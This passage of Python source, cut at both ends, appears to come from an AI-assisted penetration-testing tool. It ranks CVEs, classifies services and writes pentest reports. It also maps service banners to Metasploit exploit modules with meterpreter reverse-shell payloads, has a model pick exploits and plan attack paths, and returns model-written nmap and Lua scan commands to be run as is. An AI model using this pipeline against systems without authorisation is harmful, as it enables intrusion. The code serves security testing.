    if not v.startswith("CVSS:"):
        return None

    def _metric(m):
        mat = re.search(rf"/{m}:([A-Z])", v)
        return mat.group(1) if mat else None

    C  = _metric("C")  or "N"
    I  = _metric("I")  or "N"
    A  = _metric("A")  or "N"
    AV = _metric("AV") or "L"
    PR = _metric("PR") or "H"
    UI = _metric("UI") or "R"

    impact_map = {"H": 3, "L": 1, "N": 0}
    impact = impact_map.get(C, 0) + impact_map.get(I, 0) + impact_map.get(A, 0)
    if impact == 0:
        return 0.0

    score = impact * 2.5
    if AV == "N": score += 1.5
    if PR == "N": score += 1.0
    if UI == "N": score += 0.5
    return round(min(score / 2.5, 10.0), 1)


def ai_rank_cves(product: str, version: str, merged_cves: list) -> list:
    """
    Given a merged CVE list, rank by real-world exploitability.
    Adds 'ai_priority' 1..N and 'ai_reason'. Rule-based fallback = sort by score.
    """
    if not merged_cves:
        return merged_cves

    ruled = sorted(
        merged_cves,
        key=lambda c: (
            1 if c.get("actively_exploited") else 0,
            c.get("score") or 0,
            1 if c.get("exploit_available") else 0,
        ),
        reverse=True,
    )
    for i, c in enumerate(ruled, 1):
        c.setdefault("ai_priority", i)
        c.setdefault("ai_reason", "rule-based: KEV > score > exploit_available")

    if len(ruled) <= 3:
        return ruled

    compact = [{
        "id":                 c.get("id"),
        "score":              c.get("score"),
        "severity":           c.get("severity"),
        "actively_exploited": c.get("actively_exploited", False),
        "msf_module":         c.get("metasploit_module"),
        "sources":            c.get("sources_confirmed", []),
    } for c in ruled[:15]]

    prompt = (
        f"Rank these CVEs for {product} {version} by real-world exploitability. "
        "Consider KEV status, CVSS, and whether a public exploit/MSF module exists. "
        'Respond with JSON: {"ranked":[{"id":"CVE-...","priority":1,"reason":"..."}]}'
        f"\n\nCVEs:\n{json.dumps(compact)}"
    )
    raw = call_ai_fast(prompt, timeout=8.0)
    parsed = _parse_json(raw)
    if not parsed or "ranked" not in parsed:
        return ruled

    rank_lookup = {r["id"]: (r.get("priority"), r.get("reason"))
                   for r in parsed["ranked"] if isinstance(r, dict) and r.get("id")}
    for c in ruled:
        pr = rank_lookup.get(c.get("id"))
        if pr:
            c["ai_priority"] = pr[0] or c.get("ai_priority")
            c["ai_reason"]   = pr[1] or c.get("ai_reason")
    ruled.sort(key=lambda c: c.get("ai_priority", 999))
    return ruled


# Feature 4 -- Remediation writer + smart exploit picker
def ai_write_remediation(finding: dict) -> dict:
    """
    Short per-finding remediation. Returns {"summary","linux_cmd","windows_cmd","reason"}.
    Rule-based fallback if AI is unavailable.
    """
    cid     = finding.get("id", "")
    product = finding.get("product", "")
    version = finding.get("version", "")
    desc    = (finding.get("description") or "")[:200]

    fallback = {
        "summary":     f"Patch {product} {version}".strip() or "Patch affected service",
        "linux_cmd":   "apt-get update && apt-get upgrade -y",
        "windows_cmd": "Install-WindowsUpdate -AcceptAll -AutoReboot",
        "reason":      "rule-based generic patch",
    }

    prompt = (
        "Write a concise remediation for this finding. Respond with JSON:\n"
        '{"summary":"...","linux_cmd":"...","windows_cmd":"...","reason":"..."}\n\n'
        f"CVE/ID: {cid}\nPRODUCT: {product} {version}\nDESCRIPTION: {desc}"
    )
    raw = call_ai_fast(prompt, timeout=8.0)
    parsed = _parse_json(raw)
    if not parsed:
        return fallback
    return {
        "summary":     parsed.get("summary")     or fallback["summary"],
        "linux_cmd":   parsed.get("linux_cmd")   or fallback["linux_cmd"],
        "windows_cmd": parsed.get("windows_cmd") or fallback["windows_cmd"],
        "reason":      parsed.get("reason")      or "AI",
    }


# Built-in exploit catalog used as fallback / hint to AI
_MSF_HINTS = {
    "vsftpd 2.3.4":       "exploit/unix/ftp/vsftpd_234_backdoor",
    "proftpd 1.3.3c":     "exploit/unix/ftp/proftpd_133c_backdoor",
    "proftpd 1.3.5":      "exploit/unix/ftp/proftpd_modcopy_exec",
    "samba 3.0.20":       "exploit/multi/samba/usermap_script",
    "samba 3.0.25":       "exploit/multi/samba/usermap_script",
    "unrealircd 3.2.8.1": "exploit/unix/irc/unreal_ircd_3281_backdoor",
    "distcc":             "exploit/unix/misc/distcc_exec",
    "ms17-010":           "exploit/windows/smb/ms17_010_eternalblue",
    "ms08-067":           "exploit/windows/smb/ms08_067_netapi",
    "shellshock":         "exploit/multi/http/apache_mod_cgi_bash_env_exec",
    "drupal":             "exploit/unix/webapp/drupal_drupalgeddon2",
    "jenkins":            "exploit/multi/http/jenkins_script_console",
    "jboss":              "exploit/multi/http/jboss_invoke_deploy",
    "tomcat":             "exploit/multi/http/tomcat_mgr_upload",
    "php":                "exploit/multi/http/php_cgi_arg_injection",
    "backdoor":           "exploit/unix/ftp/vsftpd_234_backdoor",
}


def _rule_exploit_for(service: dict, cves: list) -> Optional[dict]:
    banner = (f"{service.get('product','')} {service.get('version','')}"
              f" {service.get('banner','')}").lower()
    for hint, module in _MSF_HINTS.items():
        if hint in banner:
            return {"module": module, "payload": "",
                    "reason": f"matched '{hint}' banner",
                    "needs_lhost": "backdoor" not in module}
    for c in cves or []:
        cid = (c.get("id") or "").lower()
        if "ms17-010" in cid or "2017-0144" in cid:
            return {"module": "exploit/windows/smb/ms17_010_eternalblue",
                    "payload": "windows/x64/meterpreter/reverse_tcp",
                    "reason": "MS17-010 CVE matched", "needs_lhost": True}
        if "2014-6271" in cid:
            return {"module": "exploit/multi/http/apache_mod_cgi_bash_env_exec",
                    "payload": "linux/x86/meterpreter/reverse_tcp",
                    "reason": "Shellshock", "needs_lhost": True}
    return None


def ai_pick_exploit(service: dict, cves: list) -> Optional[dict]:
    """
    Pick ONE Metasploit module to run for this service. AI-first with a
    rule-based fallback. Returns dict with keys:
        module, payload, needs_lhost, reason
    or None if nothing sensible is available.
    """
    rule = _rule_exploit_for(service, cves)

    compact_cves = [{
        "id":      c.get("id"),
        "score":   c.get("score"),
        "msf":     c.get("metasploit_module"),
        "exploit": c.get("exploit_available", False),
    } for c in (cves or [])[:8]]

    banner = f"{service.get('product','')} {service.get('version','')}".strip()
    prompt = (
        "Select ONE Metasploit module to run against this service. "
        "Prefer modules with known reliability. If unsure, return null.\n"
        'Respond with JSON: {"module":"exploit/...","payload":"...",'
        '"needs_lhost":true,"reason":"..."}\n\n'
        f"SERVICE: {service.get('service','')} on port {service.get('port','')}\n"
        f"BANNER:  {banner}\nCVEs: {json.dumps(compact_cves)}"
    )
    # 8s was too tight: the gemma-4 / large cloud models routinely take 10-12s
    # for a JSON answer and were being recorded as failures (the Gemini "0%"
    # in the AI status panel). 20s lets a slow-but-valid answer land.
    raw = call_ai_fast(prompt, timeout=20.0)
    parsed = _parse_json(raw)
    if parsed and parsed.get("module", "").startswith(("exploit/", "auxiliary/")):
        module = parsed["module"]
        # Reject hallucinated modules (e.g. 'exploit/multi/dns/bind9_aaaas').
        # If the AI's module doesn't exist in this Metasploit install, fall
        # back to the verified rule-based pick instead of a fake exploit.
        if not _is_real_msf_module(module):
            logger.info(f"[AI] dropped non-existent module from AI: {module}")
            return rule
        ai_payload = parsed.get("payload", "") or ""
        # Run the AI's payload choice through the compatibility table so we
        # never send "cmd/unix/reverse_perl" to a module that only accepts
        # native linux/* payloads (postgres_payload, drb_remote_codeexec, …).
        safe_payload = _pick_compatible_payload(module, ai_payload)
        return {
            "module":      module,
            "payload":     safe_payload,
            "needs_lhost": bool(parsed.get("needs_lhost", True)),
            "reason":      parsed.get("reason", "AI-selected"),
        }
    return rule


# Backwards-compat alias -- older code imports call_ai directly
call_ai = call_ai_fast


# Feature 5 -- Step 2 AI Layer: Service Classification
# AI reads detected services and classifies each by risk level,
# flags EOL/backdoored versions, and notes the attacker's likely first move.
_HIGH_RISK_PORTS = {
    "21", "22", "23", "25", "53", "111", "139", "445", "512", "513", "514",
    "1099", "1524", "2049", "3306", "3389", "3632", "5432", "5900", "5901",
    "6000", "6667", "6697", "8080", "8180", "8787", "27017",
}


def claude_classify_services(services: list, os_name: str = "") -> list:
    """
    Step 2 AI Layer -- After port scan + service detection.
    AI classifies each service: CRITICAL / HIGH / MEDIUM / LOW,
    flags known-backdoored banners, writes a one-line attacker note.
    Falls back to port-number heuristic if AI unavailable.
    """
    # Rule-based baseline
    for svc in services:
        port   = str(svc.get("port", ""))
        banner = (svc.get("banner", "") or "").lower()
        if any(b in banner for b in ("vsftpd 2.3.4", "proftpd 1.3.3c",
                                     "unreal ircd 3.2.8.1", "samba 3.0.20")):
            svc.setdefault("risk_level", "CRITICAL")
            svc.setdefault("ai_notes",   "Known backdoored version -- direct root shell available")
        elif port in _HIGH_RISK_PORTS:
            svc.setdefault("risk_level", "HIGH")
            svc.setdefault("ai_notes",   "High-value attack surface -- prioritise")
        else:
            svc.setdefault("risk_level", "MEDIUM")
            svc.setdefault("ai_notes",   "")

    if not services:
        return services

    compact = [{
        "port":    str(s.get("port", "")),
        "service": s.get("service", ""),
        "banner":  (s.get("banner", "") or
                    (s.get("product", "") + " " + s.get("version", "")).strip()),
    } for s in services[:20]]

    prompt = (
        f"OS: {os_name or 'unknown'}. "
        "You are a senior pentester. For each discovered service classify "
        "risk_level (CRITICAL/HIGH/MEDIUM/LOW) and write a one-sentence ai_notes "
        "describing what an attacker would target first and why. "
        "CRITICAL = backdoored/EOL version or unauthenticated RCE possible. "
        "HIGH = default credentials, known CVE with public exploit, or sensitive protocol exposed. "
        'Respond ONLY with JSON: {"services":[{"port":"21","risk_level":"CRITICAL","ai_notes":"..."}]}\n\n'
        f"SERVICES:\n{json.dumps(compact)}"
    )
    raw = call_ai_fast(prompt, timeout=12.0)
    parsed = _parse_json(raw)
    if not parsed or "services" not in parsed:
        logger.warning("[AI] claude_classify_services: no AI response — using rule-based classification")
        return services

    ai_map = {str(s.get("port", "")): s
              for s in parsed.get("services", []) if s.get("port")}
    for svc in services:
        port = str(svc.get("port", ""))
        if port in ai_map:
            svc["risk_level"] = ai_map[port].get("risk_level", svc.get("risk_level", "MEDIUM"))
            svc["ai_notes"]   = ai_map[port].get("ai_notes", "")
    return services


# Feature 6 -- Step 3 AI Layer: NSE Output Analysis
# AI reads raw NSE output, removes noise, classifies each hit,
# extracts CVE IDs, and writes a critical-findings summary.
def claude_analyze_nse_output(nse_findings: dict, services: list) -> dict:
    """
    Step 3 AI Layer -- After NSE scripts execute.
    Returns {"summary","critical_findings","hits_classified","attack_path_hint"}.
    """
    _VULN_KW = ("vulnerable", "backdoor", "cve-", "ms17-010", "eternalblue",
                "heartbleed", "shellshock", "anonymous ftp", "ms08-067",
                "vsftpd", "unreal", "distcc", "usermap")

    critical_rule = [
        f"{key}: {hit}"
        for key, hits in nse_findings.items()
        for hit in (hits or [])
        if any(k in hit.lower() for k in _VULN_KW)
    ]

    if not nse_findings:
        return {"summary": "No NSE findings to analyze.", "critical_findings": [],
                "hits_classified": [], "attack_path_hint": ""}

    flat_hits = []
    for key, hits in list(nse_findings.items())[:15]:
        for h in (hits or [])[:6]:
            flat_hits.append({"key": key, "hit": h[:200]})

    if not flat_hits:
        return {"summary": "NSE scans completed -- no vulnerability indicators found.",
                "critical_findings": critical_rule, "hits_classified": [],
                "attack_path_hint": ""}

    prompt = (
        "Analyze these NSE scan results from a pentest. "
        "For each hit classify: confirmed_vuln / potential_vuln / info / noise. "
        "Extract CVE IDs where visible. "
        "Write a 2-3 sentence summary of the most critical findings. "
        "Suggest the single best first attack move based on NSE evidence. "
        'Respond ONLY with JSON: {'
        '"summary":"...",'
        '"critical_findings":["..."],'
        '"attack_path_hint":"...",'
        '"hits":[{"key":"IP:port","hit":"...","classification":"confirmed_vuln","cve":"CVE-xxx or null"}]'
        '}\n\n'
        f"NSE HITS:\n{json.dumps(flat_hits)}"
    )
    raw = call_ai_fast(prompt, timeout=12.0)
    parsed = _parse_json(raw)
    if not parsed:
        return {"summary": f"Rule-based: {len(critical_rule)} critical NSE hit(s) detected.",
                "critical_findings": critical_rule, "hits_classified": [],
                "attack_path_hint": critical_rule[0] if critical_rule else ""}

    return {
        "summary":           parsed.get("summary", ""),
        "critical_findings": parsed.get("critical_findings", critical_rule),
        "hits_classified":   parsed.get("hits", []),
        "attack_path_hint":  parsed.get("attack_path_hint", ""),
    }


# Feature 7 -- Step 4 AI Layer: CVE Contextualization + Attack Path
# AI ranks all CVEs by real-world exploitability, adds attacker scenarios,
# and identifies the optimal exploitation sequence.
def claude_rank_cves_with_context(all_cves: dict, services: list,
                                   nse_analysis: dict) -> dict:
    """
    Step 4 AI Layer -- After multi-source CVE lookup.
    Returns {"attack_path","top_cves","risk_narrative"}.
    """
    flat = []
    for key, cves in all_cves.items():
        for c in (cves or [])[:5]:
            flat.append({
                "key":      key,
                "id":       c.get("id", ""),
                "score":    c.get("score"),
                "severity": c.get("severity", ""),
                "desc":     (c.get("description", "") or "")[:100],
                "exploit":  c.get("exploit_available", False),
                "msf":      c.get("metasploit_module", ""),
                "kev":      c.get("actively_exploited", False),
            })

    if not flat:
        return {"attack_path": "No CVEs found -- run manual searchsploit.",
                "top_cves": [],
                "risk_narrative": "NVD/ExploitDB returned no data for discovered services."}

    svc_summary = [{"port": s["port"], "service": s["service"],
                    "banner": s.get("banner", ""), "risk": s.get("risk_level", "MEDIUM")}
                   for s in services[:12]]
    nse_hint = (nse_analysis or {}).get("attack_path_hint", "")
    nse_crit = (nse_analysis or {}).get("critical_findings", [])[:8]

    prompt = (
        "You are a senior pentester. Given these CVEs, services, and NSE findings:\n"
        "1. Identify the OPTIMAL ATTACK PATH -- which service first and which CVE/module.\n"
        "2. For the top 5 CVEs by exploitability, write a one-sentence real-world impact.\n"
        "3. Write a 3-sentence risk narrative for the executive report.\n"
        "Priority: KEV active exploitation > CVSS score > MSF module available.\n"
        'Respond ONLY with JSON: {'
        '"attack_path":"step-by-step description",'
        '"top_cves":[{"id":"CVE-...","score":9.8,"impact":"An attacker can...","priority":1}],'
        '"risk_narrative":"..."'
        '}\n\n'
        f"SERVICES:\n{json.dumps(svc_summary)}\n"
        f"CVEs:\n{json.dumps(flat[:20])}\n"
        f"NSE CRITICAL:\n{json.dumps(nse_crit)}\n"
        f"NSE ATTACK HINT: {nse_hint}"
    )
    raw = call_ai_fast(prompt, timeout=14.0)
    parsed = _parse_json(raw)
    if not parsed:
        top5 = sorted(flat, key=lambda c: (c.get("kev", False),
                                            c.get("score") or 0), reverse=True)[:5]
        return {
            "attack_path": (f"Exploit highest-scoring CVE first: "
                            f"{top5[0]['id'] if top5 else 'N/A'} "
                            f"on {top5[0]['key'] if top5 else 'unknown'}"),
            "top_cves": [{"id": c["id"], "score": c["score"],
                          "impact": c["desc"], "priority": i + 1}
                         for i, c in enumerate(top5)],
            "risk_narrative": (f"Found {len(flat)} CVEs across {len(all_cves)} services. "
                               "Manual exploitation recommended starting with highest-scored."),
        }
    return parsed


# Feature 8 -- Step 6 AI Layer: Web Findings Analysis
# AI reads nikto+sqlmap+dirb+XSS output, removes false positives,
# confirms real vulnerabilities, and suggests next test steps.
def claude_analyze_web_findings(findings: list, url: str, service_banner: str,
                                 dirb_paths: list = None) -> dict:
    """
    Step 6 AI Layer -- After web scanning phase (nikto/sqlmap/dirb/dalfox).
    Returns {"confirmed","false_positives","impact","next_steps"}.
    """
    _DEFINITE = ("sqlmap identified", "is vulnerable", "injectable",
                 "parameter:", "[poc]", "[vuln]", "sql injection found",
                 "shellshock", "heartbleed", "backdoor", "[weak]")

    confirmed_rule = [f for f in (findings or [])
                      if any(k in f.lower() for k in _DEFINITE)]

    if not findings:
        return {"confirmed": [], "false_positives": [],
                "impact": "No web vulnerabilities detected.", "next_steps": []}

    compact_findings = [f[:200] for f in findings[:30]]
    compact_paths    = list(dirb_paths or [])[:12]

    prompt = (
        f"Target URL: {url}\nServer banner: {service_banner}\n\n"
        "Analyze these web scan results (nikto, sqlmap, dirb, XSS scanner).\n"
        "1. Separate CONFIRMED real vulnerabilities from NOISE/FALSE POSITIVES.\n"
        "   False positives = generic OSVDB refs without evidence, "
        "missing header warnings without exploit path.\n"
        "   Confirmed = SQLi evidence, XSS PoC, specific CVE with evidence, "
        "default credentials, directory traversal confirmed.\n"
        "2. Write a 2-sentence impact statement specific to findings.\n"
        "3. List 3-4 specific next test steps based on the actual findings.\n"
        'Respond ONLY with JSON: {'
        '"confirmed":["finding1"],'
        '"false_positives":["noise1"],'
        '"impact":"An attacker could...",'
        '"next_steps":["Step 1: ..."]'
        '}\n\n'
        f"FINDINGS:\n{json.dumps(compact_findings)}\n\n"
        f"DIRB PATHS:\n{json.dumps(compact_paths)}"
    )
    raw = call_ai_fast(prompt, timeout=12.0)
    parsed = _parse_json(raw)
    if not parsed:
        return {
            "confirmed":       confirmed_rule,
            "false_positives": [],
            "impact":          f"{len(confirmed_rule)} confirmed web finding(s).",
            "next_steps": [
                "Run sqlmap --dump on confirmed injectable parameters",
                "Test XSS payloads manually in browser",
                "Check admin panels found by dirb",
                "Attempt default credentials on login pages",
            ],
        }
    return parsed


# Feature 9 -- Step 7 AI Layer: Executive Summary + Full Report Narrative
# AI writes the complete professional pentest report narrative.
def claude_write_executive_summary(target: str, services: list, flat_cves: list,
                                    nse_analysis: dict, exploits: list,
                                    web_analysis: dict, risk_score: float,
                                    os_name: str = "",
                                    cve_analysis: dict = None) -> dict:
    """
    Step 7 AI Layer -- Final report phase.
    Returns {"executive_summary","overall_risk","key_findings",
             "compliance_mapping","conclusion"}.
    """
    overall = ("CRITICAL" if risk_score >= 8 else
               "HIGH"     if risk_score >= 6 else
               "MEDIUM"   if risk_score >= 4 else "LOW")

    fallback = {
        "executive_summary": (
            f"A penetration test of {target} (OS: {os_name or 'unknown'}) identified "
            f"{len(services)} open services with a composite risk score of {risk_score}/10. "
            f"{len(flat_cves)} CVEs were discovered; {len(exploits)} match known Metasploit "
            "modules, indicating direct exploitation is feasible without specialized tools."
        ),
        "overall_risk":       overall,
        "key_findings":       [{"title": c.get("id", ""),
                                "severity": c.get("severity", "") or (
                                    "CRITICAL" if (c.get("score") or 0) >= 9 else
                                    "HIGH" if (c.get("score") or 0) >= 7 else
                                    "MEDIUM" if (c.get("score") or 0) >= 4 else "LOW"),
                                "impact": (c.get("description", "") or "")[:80],
                                "cve": c.get("id", "")} for c in flat_cves[:5]],
        "compliance_mapping": [],
        "conclusion": (
            f"Immediate remediation is required for all CRITICAL and HIGH severity findings. "
            f"Risk score {risk_score}/10. Patch, harden, and re-test within 30 days."
        ),
    }

    top_cves     = sorted(flat_cves, key=lambda c: c.get("score") or 0, reverse=True)[:8]
    cve_compact  = [{"id": c["id"], "score": c.get("score"),
                     "desc": (c.get("description", "") or "")[:80]} for c in top_cves]
    nse_critical = (nse_analysis  or {}).get("critical_findings", [])[:5]
    attack_path  = (cve_analysis  or {}).get("attack_path", "")
    web_impact   = (web_analysis  or {}).get("impact", "")
    web_confirmed= (web_analysis  or {}).get("confirmed", [])[:5]
    svc_summary  = [{"port": s["port"], "service": s["service"],
                     "banner": s.get("banner", ""), "risk": s.get("risk_level", "MEDIUM")}
                    for s in services[:12]]

    prompt = (
        f"Write a professional penetration test executive summary for target {target}.\n"
        f"OS: {os_name or 'unknown'} | Risk score: {risk_score}/10 | "
        f"Services: {len(services)} | CVEs: {len(flat_cves)} | Exploits matched: {len(exploits)}\n\n"
        "Requirements:\n"
        "1. executive_summary: 3-4 sentences, professional, specific to actual findings.\n"
        "2. overall_risk: CRITICAL/HIGH/MEDIUM/LOW\n"
        "3. key_findings: top 4-5 findings with title, severity, impact, CVE if applicable.\n"
        "4. compliance_mapping: map web vulns to OWASP Top 10 2021 + CWE ID.\n"
        "5. conclusion: 2 sentences with urgency and remediation timeline.\n"
        'Respond ONLY with JSON: {'
        '"executive_summary":"...",'
        '"overall_risk":"CRITICAL",'
        '"key_findings":[{"title":"...","severity":"Critical","impact":"...","cve":"CVE-... or null"}],'
        '"compliance_mapping":[{"finding":"...","owasp":"A03:2021","cwe":"CWE-89"}],'
        '"conclusion":"..."'
        '}\n\n'
        f"SERVICES: {json.dumps(svc_summary)}\n"
        f"TOP CVEs: {json.dumps(cve_compact)}\n"
        f"NSE CRITICAL: {json.dumps(nse_critical)}\n"
        f"WEB CONFIRMED: {json.dumps(web_confirmed)}\n"
        f"WEB IMPACT: {web_impact}\n"
        f"ATTACK PATH: {attack_path}"
    )
    raw = call_ai_fast(prompt, timeout=18.0)
    parsed = _parse_json(raw)
    if not parsed:
        return fallback
    for k, v in fallback.items():
        parsed.setdefault(k, v)
    return parsed


# Feature 10 — AI Vulnerability Research (NVD + ExploitDB cross-check)
# After a service is detected, this asks the AI to validate the matches
# returned by NVD + ExploitDB + OSV, score confidence per CVE, and flag any
# *mismatches* (CVE applies to a different version, wrong product, false
# positive). Mismatches are returned so the caller can trigger a LIVE
# verification scan (custom NSE) before reporting the CVE as confirmed.
def ai_research_vulnerabilities(service: dict, merged_cves: list,
                                  os_name: str = "") -> dict:
    """
    Cross-reference NVD/ExploitDB/OSV results with the AI.
    Returns:
      {
        "validated":      [ {id, score, severity, confidence, evidence,
                             exploit_available, source}, ... ],
        "mismatches":     [ {id, reason, needs_live_check} ],
        "primary_exploit_db": "NVD"|"ExploitDB"|"OSV"|"CISA-KEV",
        "research_summary":   "...",
      }
    Falls back to rule-based scoring if AI is unavailable.
    """
    product = service.get("product") or service.get("service", "")
    version = service.get("version", "")
    banner  = service.get("banner", "") or f"{product} {version}".strip()

    # Rule-based fallback: trust the merged list as-is with a default confidence.
    def _fallback():
        rule_validated = []
        for c in (merged_cves or [])[:15]:
            score = c.get("score") or 0
            kev   = bool(c.get("actively_exploited"))
            if kev:
                conf = "HIGH"
            elif score >= 7:
                conf = "MEDIUM"
            elif score:
                conf = "LOW"
            else:
                conf = "UNKNOWN"
            rule_validated.append({
                "id":               c.get("id", ""),
                "score":            score,
                "severity":         c.get("severity", ""),
                "confidence":       conf,
                "evidence":         (c.get("description", "") or "")[:140],
                "exploit_available": bool(c.get("exploit_available")),
                "source":           c.get("source", ""),
            })
        sources = {c.get("source", "") for c in (merged_cves or [])}
        primary = ("CISA-KEV" if "CISA-KEV" in sources else
                   "ExploitDB" if "ExploitDB" in sources else
                   "NVD"       if "NVD" in sources else
                   "OSV"       if "OSV" in sources else "unknown")
        return {
            "validated":          rule_validated,
            "mismatches":         [],
            "primary_exploit_db": primary,
            "research_summary":   (f"Rule-based: {len(rule_validated)} CVE(s) for "
                                   f"{banner or product}. AI cross-check unavailable."),
        }

    if not merged_cves:
        return {"validated": [], "mismatches": [],
                "primary_exploit_db": "none",
                "research_summary": f"No CVE records returned for {banner}."}

    compact = [{
        "id":       c.get("id", ""),
        "score":    c.get("score"),
        "severity": c.get("severity", ""),
        "desc":     (c.get("description", "") or "")[:140],
        "source":   c.get("source", ""),
        "exploit":  bool(c.get("exploit_available")),
        "msf":      c.get("metasploit_module", ""),
    } for c in merged_cves[:20]]

    prompt = (
        "You are an offensive-security analyst doing CVE triage. "
        f"OS: {os_name or 'unknown'}. Target service:\n"
        f"  product = {product}\n  version = {version}\n  banner = {banner}\n"
        f"  port    = {service.get('port','')}\n\n"
        "Below are CVE candidates returned from NVD + ExploitDB + OSV + CISA KEV. "
        "Some may NOT actually apply to this exact version (false positives from "
        "keyword search). For each CVE decide:\n"
        "  - confidence: HIGH/MEDIUM/LOW (does this CVE truly affect this version?)\n"
        "  - evidence:   one sentence quoting WHY it matches/doesn't\n"
        "  - exploit_available: true if a public exploit / MSF module is known\n"
        "Then list any CVEs that are MISMATCHES (wrong version, wrong product) and\n"
        "set needs_live_check=true if a live NSE probe would resolve the ambiguity.\n"
        "Finally pick the primary_exploit_db that gave the most reliable hit.\n\n"
        'Respond ONLY with JSON: {'
        '"validated":[{"id":"CVE-...","score":9.8,"severity":"CRITICAL",'
        '"confidence":"HIGH","evidence":"...","exploit_available":true,"source":"NVD"}],'
        '"mismatches":[{"id":"CVE-...","reason":"version 2.4 unaffected","needs_live_check":true}],'
        '"primary_exploit_db":"NVD",'
        '"research_summary":"..."'
        '}\n\n'
        f"CANDIDATES:\n{json.dumps(compact)}"
    )
    raw = call_ai_fast(prompt, timeout=12.0)
    parsed = _parse_json(raw)
    if not parsed or "validated" not in parsed:
        return _fallback()

    # Merge AI confidence onto original records to keep the full data shape
    by_id = {c.get("id"): c for c in merged_cves}
    enriched = []
    for v in parsed.get("validated", []):
        if not isinstance(v, dict) or not v.get("id"):
            continue
        base = by_id.get(v["id"], {})
        enriched.append({
            "id":                v["id"],
            "score":             v.get("score") or base.get("score"),
            "severity":          v.get("severity") or base.get("severity", ""),
            "confidence":        v.get("confidence", "MEDIUM"),
            "evidence":          v.get("evidence") or (base.get("description","") or "")[:140],
            "exploit_available": bool(v.get("exploit_available",
                                            base.get("exploit_available", False))),
            "source":            v.get("source") or base.get("source", ""),
        })

    return {
        "validated":          enriched or _fallback()["validated"],
        "mismatches":         parsed.get("mismatches", []) or [],
        "primary_exploit_db": parsed.get("primary_exploit_db", "NVD"),
        "research_summary":   parsed.get("research_summary",
                                          f"AI cross-checked {len(enriched)} CVE(s) for {banner}."),
    }


# Feature 11 — AI Live Mismatch Verifier
# When ai_research_vulnerabilities flags a CVE as "needs_live_check", we ask
# the AI to write a *minimal, READ-ONLY* NSE probe (or a one-shot nmap
# command) that confirms whether the vulnerability really applies. The probe
# is run in-place and the result is fed back as evidence.
def ai_live_verify_mismatch(service: dict, cve_id: str, reason: str) -> dict:
    """
    Return {"command","script","verdict_hint","reason"} where:
      - command: a `nmap ...` one-liner you can run() to verify the CVE
      - script:  optional Lua NSE source (None if a builtin script is enough)
      - verdict_hint: phrase to grep for in the output that proves the CVE
    Caller is expected to run() the command and grep for verdict_hint.
    """
    port    = str(service.get("port", ""))
    svc_nm  = service.get("service", "unknown")
    banner  = service.get("banner", "") or f"{service.get('product','')} {service.get('version','')}".strip()

    fallback = {
        "command":       f"nmap -p {port} --script vuln --script-timeout 30 {service.get('ip','TARGET')}",
        "script":        None,
        "verdict_hint":  "VULNERABLE",
        "reason":        f"Fallback generic vuln scan for {cve_id}",
    }

    if not port:
        return fallback

    prompt = (
        f"A CVE candidate was flagged as a possible MISMATCH and needs a live probe:\n"
        f"  CVE: {cve_id}\n  reason for doubt: {reason}\n"
        f"  service: {svc_nm} on port {port}\n  banner: {banner}\n\n"
        "Generate a SAFE, READ-ONLY verification step. Choose the simplest of:\n"
        "  a) An existing nmap --script= command (preferred if a builtin exists).\n"
        "  b) A custom NSE Lua script that just banners/version-probes.\n"
        "Provide a 'verdict_hint' phrase that, if found in the output, confirms "
        "the CVE applies. No bruteforce, no exploit, no shells.\n\n"
        'Respond ONLY with JSON: {'
        '"command":"nmap -p ...",'
        '"script":"-- optional Lua source or null --",'
        '"verdict_hint":"phrase to grep",'
        '"reason":"why this probe resolves the mismatch"'
        '}'
    )
    raw = call_ai_fast(prompt, timeout=10.0)
    parsed = _parse_json(raw)
    if not parsed or not parsed.get("command"):
        return fallback
    return {
        "command":      str(parsed.get("command", "")).strip() or fallback["command"],
        "script":       parsed.get("script"),
        "verdict_hint": str(parsed.get("verdict_hint", "VULNERABLE")).strip(),
        "reason":       parsed.get("reason", "AI-generated live verifier"),
    }


# Feature 12 — AI Next-Scan Suggestions + Custom NSE Generation
# Given a port/service and what we've found so far, suggest the next scan
# moves an analyst would take and (if appropriate) generate a custom NSE.
# Returned actions can be executed via the /api/run_cmd endpoint or queued.
def ai_next_scan_options(service: dict, nse_hits: list = None,
                          web_findings: list = None) -> dict:
    """
    Returns:
      {
        "suggestions": [
          {"action":"nmap_nse"|"custom_nse"|"web_fuzz"|"manual",
           "command":"nmap -p ...",
           "nse_script":"-- Lua source or empty",
           "rationale":"why this is the right next move"}
        ],
        "summary": "...",
      }
    """
    port    = str(service.get("port", ""))
    svc_nm  = service.get("service", "unknown")
    product = service.get("product", "")
    version = service.get("version", "")
    banner  = service.get("banner", "") or f"{product} {version}".strip()
    ip      = service.get("ip", "TARGET")

    rule_suggestions = []
    if port:
        rule_suggestions.append({
            "action":     "nmap_nse",
            "command":    f"nmap -p {port} --script vuln,default,banner,version "
                          f"--script-timeout 60 {ip}",
            "nse_script": "",
            "rationale":  "Re-run broader NSE category set for deeper enumeration.",
        })
        if any(k in svc_nm.lower() for k in ("http","www","https")):
            rule_suggestions.append({
                "action":     "web_fuzz",
                "command":    f"gobuster dir -u http://{ip}:{port}/ "
                              f"-w /usr/share/wordlists/dirb/common.txt -t 30",
                "nse_script": "",
                "rationale":  "Directory bruteforce to surface hidden paths.",
            })

    rule_payload = {
        "suggestions": rule_suggestions,
        "summary":     "Rule-based next-step suggestions (AI unavailable).",
    }

    prompt = (
        "You are a senior pentester planning the next 2-4 scan actions on a "
        "single service. Use what we already know:\n"
        f"  target  = {ip}:{port}\n  service = {svc_nm}\n  banner  = {banner}\n"
        f"  product = {product}\n  version = {version}\n"
        f"  prior NSE hits   = {json.dumps((nse_hits or [])[:10])}\n"
        f"  prior web finds  = {json.dumps((web_findings or [])[:10])}\n\n"
        "Propose 2-4 *concrete* next moves, each with a runnable command. "
        "Prefer (in order):\n"
        "  1. A targeted nmap NSE script the previous run did NOT use\n"
        "  2. A CUSTOM NSE Lua script (provide the Lua under 'nse_script') only "
        "     if no builtin fits the banner\n"
        "  3. A web-app fuzz/path discovery / sqlmap / wpscan / nuclei command\n"
        "  4. A short manual verification step (curl / openssl)\n"
        "Never include destructive flags or bruteforce credentials.\n\n"
        'Respond ONLY with JSON: {'
        '"suggestions":[{'
        '"action":"nmap_nse|custom_nse|web_fuzz|manual",'
        '"command":"...",'
        '"nse_script":"-- Lua source if action==custom_nse, else empty --",'
        '"rationale":"why this move"'
        '}],'
        '"summary":"one-line plan summary"'
        '}'
    )
    raw = call_ai_fast(prompt, timeout=10.0)
    parsed = _parse_json(raw)
    if not parsed or not parsed.get("suggestions"):
        return rule_payload

    cleaned = []
